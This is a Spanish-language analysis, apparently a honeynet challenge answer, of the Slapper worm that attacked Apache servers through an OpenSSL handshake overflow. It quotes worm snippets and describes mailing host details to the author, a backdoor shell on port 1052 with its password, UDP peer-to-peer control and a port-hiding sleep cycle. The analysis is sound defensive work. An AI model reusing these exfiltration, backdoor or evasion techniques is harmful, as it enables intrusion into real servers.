Primero echamos un vistazo al archivo con un editor hexadecimal (es más una
mania personal que un procedimiento recomendable, pero utilizamos poco tiempo y
nos puede aportar datos interesantes), en busca de una cabecera conocida, pero
no es el caso. Lo siguiente es intentar obtener informacion a traves del
comando 'file' de Linux, que da en el clavo. Se trata de un archivo comprimido
con gzip:
unlock: gzip compressed data, deflated, last modified: Fri Sep 20
12:59:04 2002, os: Unix
Pues lo siguiente es comprobar la integridad del archivo y ver que contiene mediante los comandos 'md5sum unlock.tar.gz' y 'gunzip -t unlock.tar.gz' (hemos renombrado el archivo por comodidad). Comprobamos el checksum md5:
unlock.tar.gz: a03b5be9264651ab30f2223592befb42
(.unlock) : a03b5be9264651ab30f2223592befb42
Correcto, asi que lo descomprimimos con 'tar xvzf unlock.tar.gz' y obtenemos dos archivos ocultos, .unlock.c y .update.c. Los dos archivos, como indica su extension, son codigo fuente en C.
Obtenemos el .update.c. Resulta familiar asi que buscando entre mis archivos encuentro que es el gusano 'slapper' que tantos servidores Apache ha infectado. Bueno, pues toca empaparse del codigo, analizarlo y ya que disponemos de un servidor vulnerable (Mandrake 1.3.23), probar a infectarnos. Vamos a ello. El gusano 'slapper', en todas sus versiones (unas 4, puede que 5), ataca a los servidores Apache a través de un fallo en el saludo a tres vias (del ingles Three Way Handshake) para provocar un desbordamiento de buffer y ejecutar comandos en el servidor vulnerable.
El gusano en si es el fichero .unlock.c, el otro (.update.c) no es mas que una puerta trasera que escucha por defecto en el puerto 1052 conexiones TCP, mediante las que a traves de un password se accede a una shell.
El comportamiento a grandes rasgos del gusano consiste en escanear aleatoriamente
IP's de la clase B para ver si tienen abierto el puerto 80. Si encuentran este
puerto abierto, intentan obtener información del servidor que está a la escucha
para ver si coincide con alguno de su lista de servidores vulnerables, entonces
tenemos tres opciones:
a) El servidor está en la lista de vulnerables. Perfecto, el gusano conoce las
direcciones concretas para el overflow en ese servidor.
b) El servidor es Apache pero no está en la lista. El gusano no deja escapar la
oportunidad y lo intenta a través de un exploit por defecto (Apache 1.3.23 para
RedHat).
c) El servidor no es Apache. El gusano abandona su intento de exploit.
Por lo menos este gusano tiene en cuenta la arquitectura que va a atacar, no como otros (CodeRed, Nimda) que explotan vulnerabilidades de los servidores IIS pero igualmente atacan Apaches, iPlanet, etc...
Seguimos, una vez identificado el servidor, se lanza el exploit en el que se consigue una shell, mediante la que el gusano se copia, compila e instala en el nuevo sistema. Una vez instalado y ejecutado (incluyendo a update.c, que ya hemos visto cual es su cometido), el gusano envia un correo con información del nuevo sistema comprometido, y empieza una comunicación P2P con otros servidores infectados. A través de dicha comunicación, el gusano puede recibir comandos que explicaremos más adelante.
Para una mayor descripcion de las acciones del gusano, vea las fuentes comentadas de (.unlock.c) y (.update.c).
Nota: Debido a la falta de tiempo, no ha sido posible realizar la infección local del Apache 1.3.23. De todas formas, cuando encuentro tiempo, realizaré el experimento y añadiré las capturas de tráfico de la infección.
El fichero .unlock es del tipo "gzip compressed data", es decir, un fichero comprimido con gzip (mejor dicho, con tar y gzip). La fecha de creacion es el 20 de Septiembre del 2002.
2.- Basandose en el codigo fuente ¿quien es el autor de este gusano?¿Cuando se creo?¿Concuerda con la fecha de la pregunta 1?
El autor es aion (aion@ukr.net). Las fechas de creación són:
update -> 19 Septiembre 2002
unlock -> 20 Septiembre 2002
Efectivamente se corresponden con la fecha en la que se creo el fichero
comprimido.
3.- ¿Que nombre de proceso usa el gusano cuando se ejecuta?
Para cambiarse el nombre, sobreescribe el contenido de argv[0] de forma muy similar en los dos programas:
-- unlock #define PSNAME "httpd " [...] for(a=0;argv[0][a]!=0;a++) argv[0][a]=0; for(a=0;argv[1][a]!=0;a++) argv[1][a]=0; strcpy(argv[0],PSNAME); -- -- update #define PSNAME "update " // what copy to argv[0] [...] for(retval=0;argv[0][retval]!=0;retval++) argv[0][retval]=0; strcpy(argv[0],PSNAME); --Asi, el gusano aparece como "httpd" y el update.c como "update".
4.- ¿En que formato se copia el gusano a la nueva maquina infectada?¿Que ficheros se crean durante todo el proceso? Despues de que se ejecute el gusano ¿que ficheros permanecen en la maquina infectada?
A traves de la funcion 'encode()', el gusano se envia en formato UUEncoded para
que, una vez dentro de la victima, ejecute 'uudecode -o ...'. Los ficheros
creados son los siguientes:
/tmp/.unlock.uu -> Fuentes del gusano comprimidas y codificadas en uu.
/tmp/.unlock -> Fuentes del gusano decodificadas (formato tarball).
/tmp/.unlock.c -> Codigo fuente principal del gusano.
/tmp/.update.c -> Codigo fuente de la backdoor instalada por el gusano.
/tmp/httpd -> Gusano compilado
/tmp/update -> Backdoor compilada
Como se puede comprobar en la funcion 'sh()', se eliminan todos los ficheros
de esta lista menos el /tmp/.unlock, es decir, el fichero comprimido que
contiene las fuentes del gusano y que han podido capturar los miembros del
Honeynet.BR.
5.- ¿Que puerto es escaneado por el gusano?
En el código podemos ver como al principio se define:
#define SCANPORT 80Y si obervamos el uso de esta constante, veremos como a partir de la directiva
#ifdef SCANel gusano realiza la conexión a SCANPORT para, dependiendo del resultado, iniciar todo el proceso de infección. Por lo tanto, el gusano escanea los sistemas en el puerto 80 porque es el puerto donde se encuentran por defecto los servidores web.
6.- ¿Que vulnerabilidad intenta explotar el gusano?¿En que arquitecturas?
El gusano explota (o intenta explotar) una vulnerabilidad reciente, de este mismo verano, que afecta a los sistemas que usan OpenSSL y la libreria SSLeavy. La vulnerabilidad que explota el gusano se encuentra en un desbordamiento buffer que puede producir el cliente al enviar su "master key" al servidor durante el saludo a tres vias de la conexión TLS. Puede obtener más información consultando los avisos de CERT y de los propios desarrolladores de Openssl. Si quiere más información acerca de la "master key" y su uso en TLS, consulte el RFC2246. Las arquitecturas y versiones del servidor Apache afectadas, extraidas del propio código del gusano són:
7.- ¿Que tipo de informacion envia el gusano por correo electronico?¿A que cuenta de correo?
Una de las primeras acciones que realiza el gusano al ejecutarse en la maquina infectada es enviar un correo mediante una llamada a la función mailme(). Esta función envia un correo electronico a traves del servidor freemail.ukr.net mediante los siguientes comandos SMTP:
helo test mail from: test@microsoft.com rcpt to: MAILTO (por defecto 'aion@ukr.net') data hostid: 'gethostid()' hostname: 'gethostname()' att_from: 'localip' . quitEnvia un correo a aion@ukr.net falseando el origen como test@microsoft.com y enviando los datos que proporcionan las funciones gethostid() y gethostname(), así como la dirección IP local de la máquina infectada.
8.- ¿Que puerto y protocolo es usado por el gusano para comunicarse con otras maquinas infectadas?
El gusano utiliza el puerto 4156 para realizar una conexión P2P con los otros servidores infectados. El protocolo utilizado es un protocolo "propietario" (un protocolo propio del gusano) que funciona encapsulado en paquetes UDP. Las estructuras utilizadas para esta comunicación túnel se pueden encontrar en el código fuente de unlock.c comentadas como Packet Headers. Estas estructuras se envian encapsuladas en paquetes UDP a través del socket configurado en la variable udpserver.
9.- Nombre 3 funciones que implementa el gusano para atacar otras redes.
Para encontrar las funcionalidades del gusano, podemos ir a la parte principal del gusano (función main()) e ir comprobando cada uno de los comandos que acepta a través del protocolo mencionado en la pregunta anterior. Los comandos se encuentran dentro de un switch y són los siguientes:
Los comandos que podemos considerar de ataque són los de inundación, y quizá los 'bouncers' para preparar ataques mediante 'spoofing'.
10.- ¿Cual es el proposito del programa .update.c?¿Que puerto usa?
El programa update.c es sencillamente una puerta trasera, que ofrece una shell protegida con contraseña (aion1981) a través del puerto 1052 (TCP). Resulta curiosa la contraseña elegida, ya que es muy probable que aion (autor del gusano), haya nacido en dicho año, por lo que estariamos tratando con un black-hat de 21 años.
11.- BONUS: ¿Cual es el proposito de los valores SLEEPTIME y UPTIME en el programa .update.c?
Estos valores se encargan de que esta parte del gusano no esté siempre a la escucha. Los sockets se definen como no-bloqueantes y gracias a ello esta puerta trasera sigue un ciclo de actividad: está 10 segundos esperando posibles conexiones al puerto 1052 (UPTIME) y pasado este tiempo, está 5 minutos con el puerto cerrado (SLEEPTIME), para nuevamente volver a empezar el ciclo.
Esta técnica pretende hacer más difícil su detección mediante escaneos de puertos o ejecuciones de netstat o incluso lsof, ya que durante el periodo SLEEPTIME, el programa tiene cerrados todos los descriptores de ficheros utilizados para la comunicación mediante sockets.
Recopilación de los enlaces aparecidos en este texto:
update.c.
unlock.c.
CERT SSL Advisory.
Openssl advisory.
RFC2246 (TLS).